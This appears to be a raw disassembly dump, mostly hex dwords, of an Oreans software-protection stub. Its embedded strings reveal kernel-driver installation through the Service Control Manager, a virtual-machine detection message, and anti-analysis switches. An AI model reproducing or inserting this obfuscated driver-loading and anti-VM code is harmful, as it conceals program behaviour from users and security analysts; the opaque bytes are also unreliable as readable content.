		dd 6805E82Eh, 11B9F46Dh, 0ED243481h, 0F11B9F4h,	36AD6BFh
		dd 322ABA66h, 958B006Ah, 5E81055h, 11E9036Ah, 0C0000000h
		dd 0A35F4BB8h, 55242BBAh, 0E659A29Fh, 0B3EA7D08h, 4E8h
		dd 0
		dd 8860FC0h, 0F000000h,	286h, 50616000h, 424448Bh, 13F7BF66h
		dd 36BE008Bh, 892A9359h, 51042444h, 9E8h, 2E6800h, 5FD45960h
		dd 14E9F2B2h, 25000000h, 0B8C33935h, 9FEC10F4h,	0A10075F3h
		dd 45F24038h, 5A3AA246h, 0BD8B585Fh, 5E819C1h, 0AABD9D8Dh
		dd 852905EAh, 5E825C5h,	89D38B50h, 0CE8241Ch, 8F000000h
		dd 1E96B6AAh, 0F6C6507Dh, 50887941h, 12E9h, 7D3CAA00h
		dd 1E87F036h, 865EF87Ch, 0BA75CD5Ch, 594D290Dh,	6AD0FF59h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 397DC353h, 121E85BBh, 0DC3C7B79h,	12E9D1B2h
		dd 31000000h, 0B7515698h, 662F2F7h, 5F99C23Ah, 6EB5C6E1h
		dd 850F40E3h, 18Ah, 58D78B66h, 12E890h,	2AD80000h, 0F69A399Ah
		dd 368B392Dh, 9B08E486h, 0A1459FEEh, 7EBE505Eh,	90251549h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8CC35545h
		dd 0C8CE1F28h, 0BE66FF9Fh, 6A1EFDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0E0C35545h,	0EDBC0F5h, 0ED858906h
		dd 0F05E80Ch, 684h, 89BD8900h, 6805E819h, 68C855F2h, 45CABE66h
		dd 72243481h, 0E968C855h, 9, 0C7A8724Ah, 0BD9A766Fh, 60036A6Dh
		dd 1371B589h, 895005E8h, 0E808B995h, 60615805h,	84B1B8B8h
		dd 0F0D08175h, 615E2FFBh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 5B631DC3h, 62E66392h
		dd 0DE9036Ah, 23000000h, 0CB94468Fh, 4F9C4F68h,	2471B9A0h
		dd 9839F268h, 8A0F6086h, 5, 7E3F95BAh, 66525037h, 0F76F0BAh
		dd 5A5B5231h, 34816158h, 9839F224h, 95BD8B46h, 8D05E832h
		dd 0EAAAC89Dh, 0BDBD0905h, 9305E823h, 61CA8B60h, 93F48A50h
		dd 9E9h, 0C86F1900h, 73FD89E6h,	8166CE1Dh, 0FFF9CFE6h
		dd 0F6BF0FD0h, 25F59589h, 0F4005E8h, 3185h, 0C206BF00h
		dd 58F523E0h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	2AC35242h, 0E9A6190Dh, 170h, 511BD01h, 0D88B05E8h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D1C35343h
		dd 0D49B9EAEh, 0DE95761h, 0EE000000h, 6407B4EEh, 8B3E4BC9h
		dd 60E5161Dh, 0D18B4B5Ah, 0C6F98B58h, 0E8201585h, 0BD8B4305h
		dd 5E802C5h, 4E8FCh, 4AA70000h,	5057C076h, 0B6310F52h
		dd 59585A27h, 0E9ACBE50h, 448B3911h, 66600424h,	8B61CA8Bh
		dd 16B2BF00h, 44894EB2h, 810F0424h, 14h, 8E8h, 0DF073500h
		dd 71D021Dh, 0F5250B7h,	5A585A31h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0CDA93A67h
		dd 0E9BD89E0h, 0FF05E80Dh, 0E82559B5h, 50006A05h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0C7181AD0h, 0F231971Fh, 0C8B70FECh, 38D7858Dh, 0F0BE05E8h
		dd 0FF7AA4BBh, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 8BB7C58Bh, 22DF6604h
		dd 0C58D8B4Ah, 0E805E822h, 6, 40B02ACEh, 935F2ABAh, 0F50E9B5h
		dd 286h, 93C2B600h, 803EBA66h, 890FD0FFh, 6, 2AB98D09h
		dd 9D8D05E8h, 5E87200h,	958BFC60h, 5E805E1h, 1B861h, 95890000h
		dd 5E831A1h, 9D89E3FFh,	5E805C5h, 8A0FC18Bh, 6,	3071BD8Bh
		dd 0C08B05E8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	3EC35040h, 4F75B0A5h, 0E902CD63h, 11h, 85EE2C5h
		dd 52CBD6C5h, 0CA55E1ECh, 0B797E517h, 0F78B66EDh, 0E89BD83h
		dd 750005E8h, 0E9BD8309h, 5E80Bh, 53501974h, 0FB8C08Bh
		dd 89000004h, 0E81AF985h, 0B59D8D05h, 0FF05EAA9h, 83585BD3h
		dd 0E80BE9BDh, 17740005h, 0FB85350h, 89000004h,	0E81AF985h
		dd 569D8D05h, 0FF05EAA6h, 6A585BD3h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 969BC351h
		dd 0C98166E9h, 6E973DDh, 1D000000h, 7B5E67F4h, 0E8C08B5Bh
		dd 9, 1D6A4CABh, 0BB07913Fh, 519D8BDBh,	5805E819h, 25719531h
		dd 0C08105E8h, 6448h, 0EC19D8Bh, 0F36805E8h, 81000018h
		dd 0E1170AC6h, 30FF5A46h, 0DE8h, 0E7C3CE00h, 1B572814h
		dd 1BA34E09h, 0B5093875h, 5E814D5h, 0E981595Eh,	59C8FE34h
		dd 5603E981h, 0DF8B4666h, 5D3FF181h, 8166311Ah,	896520F7h
		dd 83D98B08h, 0BD8902E8h, 5E81BE9h, 4AF94848h, 0FFB4850Fh
		dd 0B58BFFFFh, 5E82D55h, 9E8h, 9B63DD00h, 238AE67Bh, 85299C41h
		dd 5E8193Dh, 0C3B70F5Bh, 651AC381h, 8B500000h, 0E829C98Dh
		dd 685E05h, 66000000h, 8B5ACF8Bh, 0E8221DB5h, 1A34FF05h
		dd 5E9h, 29133C00h, 8B5FEB1Bh, 0E81A6DB5h, 0BDF78105h
		dd 815AEB97h, 857424C7h, 0C985094Ah, 8105E813h,	0D71237C7h
		dd 0B2BE6072h, 0E85A0E3Dh, 5, 583DD979h, 91E681FBh, 5934930Ch
		dd 48F5761h, 68F0F13h, 8B000000h, 0E80BC5B5h, 14E805h
		dd 74610000h, 0CED81118h, 66F3FAF3h, 0A12F574Ch, 57389E0Dh
		dd 59FCBEEBh, 8B04EA83h, 98FA81CBh, 0FFFFF9Bh, 0FFFF8085h
		dd 7ECE81FFh, 0E91351F6h, 20Eh,	6E614333h, 20746F6Eh, 74697277h
		dd 726F2065h, 736E6165h, 6478762Eh, 614D0D0Ah, 7320656Bh
		dd 20657275h, 74616874h, 69687420h, 69662073h, 6920656Ch
		dd 6F6E2073h, 65622074h, 20676E69h, 64657375h, 20796220h
		dd 746F6E61h, 20726568h, 676F7270h, 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 0E8201585h, 86684705h, 0FFE3E45Bh
		dd 0E82559B5h, 0D7858D05h, 0FF05E838h, 10468D0h, 9D8D0000h
		dd 5E82649h, 50D0FF53h,	0B5CFB58Dh, 0FE8B05EAh,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 201585C6h
		dd 684305E8h, 0BC8E6EFCh, 2559B5FFh, 858D05E8h,	5E838D7h
		dd 0B58DD0FFh, 5E82649h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E8201585h, 56685705h
		dd 0FFA69BEEh, 0E82559B5h, 0D7858D05h, 0FF05E838h, 71BD8DD0h
		dd 8D05E812h, 0EAB6F58Dh, 57006A05h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0D7B58D00h, 8D05EAB3h, 0EAA33885h
		dd 8DD0FF05h, 0E872008Dh, 0B805h, 0E1FF0000h, 201585C6h
		dd 684305E8h, 0C0764AA7h, 2559B5FFh, 858D05E8h,	5E838D7h
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 9C3h dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 99E90000h
		dd 2F000000h, 63677562h, 6B636568h, 622F0032h, 68636775h
		dd 6B6365h, 726F662Fh, 75726563h, 622F006Eh, 68636775h
		dd 666B6365h, 6C6C75h, 6F68732Fh, 646F6377h, 732F0065h
		dd 63776F68h, 3265646Fh, 6C632F00h, 2F007472h, 31736964h
		dd 68732F00h, 6E69776Fh, 6E617473h, 2F006563h, 77746567h
		dd 6174736Ch, 737574h, 676F6C2Fh, 74617473h, 2F007375h
		dd 706D7564h, 74617473h, 7375h,	2F000000h, 63656863h, 6F72706Bh
		dd 74636574h, 6E6F69h, 0
		dd 0EF4ABD83h, 0F0005EAh, 0A84h, 0E985C700h, 105E80Bh
		dd 0C6000000h, 0E8201585h, 4E84705h, 8D000000h,	50906D6Ch
		dd 424448Bh, 4489008Bh,	0FF580424h, 0E82559B5h,	0D7858D05h
		dd 0FF05E838h, 8BD0FFD0h, 223F80F8h, 22850Fh, 0B0470000h
		dd 850FAE22h, 0FFFFFFF9h, 0F003F80h, 31E84h, 3F804700h
		dd 14840F00h, 0E9000003h, 1Eh, 0F003F80h, 30684h, 203F8000h
		dd 6850Fh, 0E9470000h, 6, 0FFE2E947h, 3F80FFFFh, 5850F00h
		dd 0E9000000h, 2E3h, 1E9h, 3F804700h, 0F6840F20h, 80FFFFFFh
		dd 850F003Fh, 5, 2C6E9h, 0AE800h, 0CBE90000h, 0E9FFFFFFh
		dd 2B7h, 0EECAB58Dh, 25E805EAh,	3000002h, 0EAEF5FBDh, 5FBD8305h
		dd 5EAEFh, 0B840Fh, 85C70000h, 5E80E89h, 1, 0D5B58DC3h
		dd 0E805EAEEh, 1FCh, 0EF5FBD03h, 0BD8305EAh, 5EAEF5Fh
		dd 0B840F00h, 0C7000000h, 0E80BE985h, 105h, 0B58DC300h
		dd 5EAEF4Eh, 1D3E8h, 5FBD0300h,	8305EAEFh, 0EAEF5FBDh
		dd 840F0005h, 0Bh, 1FD585C7h, 105E8h, 8DC30000h, 0EAEEDFB5h
		dd 1AAE805h, 0BD030000h, 5EAEF5Fh, 0EF5FBD83h, 0F0005EAh
		dd 0B84h, 0E985C700h, 105E80Bh,	0C3000000h, 0EEE9B58Dh
		dd 81E805EAh, 3000001h,	0EAEF5FBDh, 5FBD8305h, 5EAEFh
		dd 15840Fh, 85C70000h, 5E80BE9h, 1, 0E8985C7h, 105E8h
		dd 8DC30000h, 0EAEEF7B5h, 14EE805h, 0BD030000h,	5EAEF5Fh
		dd 0EF5FBD83h, 0F0005EAh, 0A84h, 6D85C700h, 105E82Bh, 8D000000h
		dd 0EAEF01B5h, 126E805h, 0BD030000h, 5EAEF5Fh, 0EF5FBD83h
		dd 0F0005EAh, 0A84h, 6D85C700h,	105E82Bh, 8D000000h, 0EAEF0CB5h
		dd 0FEE805h, 0BD030000h, 5EAEF5Fh, 0EF5FBD83h, 0F0005EAh
		dd 0A84h, 9985C700h, 105E82Eh, 8D000000h, 0EAEF12B5h, 0D6E805h
		dd 0BD030000h, 5EAEF5Fh, 0EF5FBD83h, 0F0005EAh,	0A84h
		dd 0DD85C700h, 105E830h, 8D000000h, 0EAEF18B5h,	0AEE805h
		dd 0BD030000h, 5EAEF5Fh, 0EF5FBD83h, 0F0005EAh,	0A84h
		dd 0C585C700h, 105E806h, 8D000000h, 0EAEF26B5h,	86E805h
		dd 0BD030000h, 5EAEF5Fh, 0EF5FBD83h, 0F0005EAh,	0A84h
		dd 3D85C700h, 105E82Dh,	8D000000h, 0EAEF33B5h, 5EE805h
		dd 0BD030000h, 5EAEF5Fh, 0EF5FBD83h, 0F0005EAh,	0A84h
		dd 5D85C700h, 105E813h,	8D000000h, 0EAEF3EB5h, 36E805h
		dd 0BD030000h, 5EAEF5Fh, 0EF5FBD83h, 0F0005EAh,	0A84h
		dd 985C700h, 105E833h, 0E9000000h, 1, 203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 1FE9h, 3F8000h, 5850Fh, 0B90000h, 8A000000h,	0F163817h
		dd 584h, 0B900h, 47460000h, 0F003E80h, 884h, 0FC90B00h
		dd 0FFFFD085h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h
		dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h
		dd 0D840Fh, 0F32B0000h,	0EF5FB589h, 0AE905EAh, 0C7000000h
		dd 0EAEF5F85h, 5, 8BC36100h, 10A9E9C8h,	44410000h, 49504156h
		dd 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h, 72656761h
		dd 72430041h, 65746165h, 76726553h, 41656369h, 61745300h
		dd 65537472h, 63697672h, 47004165h, 614E7465h, 65766974h
		dd 74737953h, 6E496D65h, 4F006F66h, 536E6570h, 69767265h
		dd 416563h, 656C6544h, 65536574h, 63697672h, 6C430065h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 6E6F4300h
		dd 6C6F7274h, 76726553h, 656369h, 8 dup(0)
aOreans32_sys	db 'oreans32.sys',0
		align 10h
		dd 0
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 4
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 21h dup(0)
		dd 8B000000h, 5BD01C4h,	8B05E813h, 0E81285BDh, 29858905h
		dd 3105E808h, 0E8099DBDh, 0FC08B05h, 8Dh, 89BD8300h, 5E80Eh
		dd 0BD830975h, 5E80BE9h, 50197400h, 0B8C08B53h,	43Dh, 111D8589h
		dd 9D8D05E8h, 5EAA94Eh,	585BD3FFh, 0BE9BD83h, 740005E8h
		dd 0B8535017h, 43Dh, 111D8589h,	9D8D05E8h, 5EAA63Dh, 585BD3FFh
		dd 3890F51h, 80000000h,	0F5F39C1h, 68Ch, 718D8900h, 8B05E824h
		dd 359D09C0h, 8B05E824h, 9E9C0h, 592C0000h, 61843AB8h
		dd 831DC173h, 0E80E89BDh, 9750005h, 0BE9BD83h, 740005E8h
		dd 8B535013h, 0B8C0h, 9D8D0000h, 5EAA7F0h, 585BD3FFh, 0BE9BD83h
		dd 740005E8h, 0B8535011h, 0
		dd 0A6A19D8Dh, 0D3FF05EAh, 958B585Bh, 5E8219Dh,	32D5B589h
		dd 0C08B05E8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	76C35040h, 15C21EB5h, 2AB1EA84h, 21398D8Bh, 0C08B05E8h
		dd 88CA8166h, 89BD83E2h, 5E80Eh, 0BD830975h, 5E80BE9h
		dd 50137400h, 0B8C08B53h, 0
		dd 0A7229D8Dh, 0D3FF05EAh, 0BD83585Bh, 5E80BE9h, 50117400h
		dd 0B853h, 9D8D0000h, 5EAA66Fh,	585BD3FFh, 2AE98D8Bh, 895705E8h
		dd 0E825758Dh, 0C08B5F05h, 28C0F52h, 0B6000000h, 0C08B59BDh
		dd 77FCB966h, 0E89BD83h, 750005E8h, 0E9BD8309h,	5E80Bh
		dd 53501374h, 0B8C08Bh,	8D000000h, 0EAA7899Dh, 5BD3FF05h
		dd 0E9BD8358h, 5E80Bh, 53501174h, 0B8h,	889D8D00h, 0FF05EAA6h
		dd 6A585BD3h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 292BC353h, 0E821E1BDh,	0BC08B05h
		dd 0E8075D95h, 6AC08B05h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 62F8C355h, 29CA1F04h
		dd 0FA8B666Ch, 0E89BD83h, 750005E8h, 0E9BD8309h, 5E80Bh
		dd 53501374h, 0B8C08Bh,	8D000000h, 0EAA6BB9Dh, 5BD3FF05h
		dd 57006A58h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0E1A436C9h, 5A081D5Dh, 0F8DBD8Bh, 816005E8h
		dd 174DFCDFh, 13E92Dh, 1C5E0000h, 0CB78311Dh, 7CFDC8ECh
		dd 0B2FA50C1h, 0F7B5399Fh, 0C08B6160h, 11898D8Bh, 0C08B05E8h
		dd 5D3580B9h, 89BD8316h, 5E80Eh, 0BD830975h, 5E80BE9h
		dd 50197400h, 0B8C08B53h, 7D0h,	111D8589h, 9D8D05E8h, 5EAA94Eh
		dd 585BD3FFh, 0BE9BD83h, 740005E8h, 0B8535017h,	7D0h, 111D8589h
		dd 9D8D05E8h, 5EAA63Dh,	585BD3FFh, 318D8BF5h, 8B05E822h
		dd 0C6FB8BC0h, 0E8201585h, 6A5305h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 388ED7C3h
		dd 92F1FD27h, 0F88B66B1h, 395F9068h, 11E999h, 812C0000h
		dd 0E7C53B78h, 72D309B6h, 399DEB7h, 0FFBA1B92h,	0E82559B5h
		dd 4D958B05h, 8D05E80Ch, 0E838D785h, 57006A05h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 6830FCDh, 89000000h
		dd 0E80E0185h, 0FD0FF05h, 88h, 15858900h, 6A05E808h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0C6EAC356h, 0E8201585h, 8B605705h, 0E8157DBDh, 6686105h
		dd 66900452h, 0F65ACF81h, 2559B5FFh, 853105E8h,	5E825EDh
		dd 38D7858Dh, 0FFF505E8h, 56006AD0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0A00D3B00h
		dd 6880Fh, 8D890000h, 5E81711h,	2FAD8589h, 0CB8B05E8h
		dd 201585C6h, 0F84305E8h, 90702868h, 0B466BFBCh, 0B5FF3814h
		dd 5E82559h, 2301B589h,	858D05E8h, 5E838D7h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 86C35343h, 0F20774Ch
		dd 6011D980h, 12CDB589h, 0C98105E8h, 57DD4C2Ch,	6AD0FF61h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 885EC356h, 12084594h, 8A9F21B3h, 7D8589D0h
		dd 6605E816h, 0F680D08Bh, 1585C69Bh, 4C05E820h,	9E8h, 0A79A300h
		dd 3C799DBDh, 8B0F035Ah, 5, 10C78166h, 0E9685A7Dh, 0E9D9DA1Ch
		dd 12h,	2CE1C5E5h, 0FAF8EE4h, 8B2BDFE5h, 2244DEE8h, 0B5FF7F71h
		dd 5E82559h, 0A52AC981h, 858D1ED5h, 5E838D7h, 1C88BA66h
		dd 214DBD8Bh, 0D0FF05E8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0ADC35343h, 0C5BD29E4h, 8905E820h, 0E81F3185h
		dd 1585C605h, 4605E820h, 1ADF8166h, 61468C9h, 6ABADEh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 2CF6BBC3h, 9A26F93h,	0BD2BF88Bh, 5E82C8Dh, 2559B5FFh
		dd 6A05E8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 0ABC5A7C3h, 0B82162AFh, 0F0645B2h, 858DF9BFh
		dd 5E838D7h, 28D0Fh, 0CA8B0000h, 89F5D0FFh, 0E829F185h
		dd 31958905h, 0C605E807h, 0E8201585h, 0C88B4705h, 2F5D958Bh
		dd 0E26805E8h, 0E88A0FB5h, 0Ah,	47EC78FCh, 0B3A19DF5h
		dd 0E1819B7Eh, 51BE8DF6h, 59B5FF5Fh, 0B105E825h, 0D7858DC5h
		dd 8905E838h, 0E81C0595h, 0BAD0FF05h, 4A3A02FAh, 29DD8589h
		dd 0DE805E8h, 1D000000h, 0F8A325E5h, 30F4982Fh,	504C078h
		dd 13E1BD8Bh, 0C65A05E8h, 0E8201585h, 81664705h, 8BE9E1E1h
		dd 0E80915BDh, 0B5F36805h, 6A83D0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0EFA66FC3h
		dd 0E837B8CCh, 12h, 0D4B823F3h,	0B706692Ch, 0F1A20792h
		dd 0B89C8AA9h, 0BD8B0267h, 5E8304Dh, 0E294BF5Fh, 0B5FF356Ch
		dd 5E82559h, 31BD8960h,	8105E80Ch, 9C33B2C7h, 858D612Bh
		dd 5E838D7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	77C35646h, 3D8671ABh, 3CBA666Fh, 31D0FFC2h, 0E82499BDh
		dd 89D08B05h, 0E8198185h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 1E974620h
		dd 0B966520Ch, 0C65A002Bh, 0E8201585h, 0BD8B7705h, 5E805ADh
		dd 97A8A368h, 0F9BD23F3h, 0FF05E822h, 0E80FDDB5h, 0C1816605h
		dd 858D2708h, 5E838D7h,	0D0FFD18Bh, 10E9h, 1C1A4C00h, 78534EF9h
		dd 2357A08Dh, 0B0198F7Ch, 0B18589D9h, 6605E80Dh, 1549C181h
		dd 201585C6h, 0E94705E8h, 12h, 95DE9B58h, 0FA5E8479h, 0F531F0B0h
		dd 8C8866E7h, 0F6685058h, 298728FAh, 0E8077595h, 59B5FF05h
		dd 8B05E825h, 0E8249995h, 0D7858D05h, 6A05E838h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 29E0C357h, 0C950869Ah, 295110AFh, 8589D0FFh,	5E829C5h
		dd 0F199589h, 85C605E8h, 5E82015h, 79953143h, 0E905E80Dh
		dd 0Bh,	2474AD89h, 985D6A0Ch, 6804E5B2h, 0BC8E6EFCh, 1651958Bh
		dd 0B5FF05E8h, 5E82559h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 2EC35242h, 66D37DB3h,	14332ACh, 0E82291BDh
		dd 0AE905h, 0BF450000h,	0B193EE47h, 2F74AEC7h, 38D7858Dh
		dd 8D0905E8h, 5E80305h,	6E9D0FFh, 0B6000000h, 0D442CD23h
		dd 0A585894Eh, 6A05E81Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8BC9C357h, 1585C6FAh
		dd 4505E820h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	8EC35141h, 68C5E68Ch, 8E726969h, 9BD78166h, 59B5FF56h
		dd 6A05E825h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0B183C351h, 0D7858DF5h, 0E905E838h
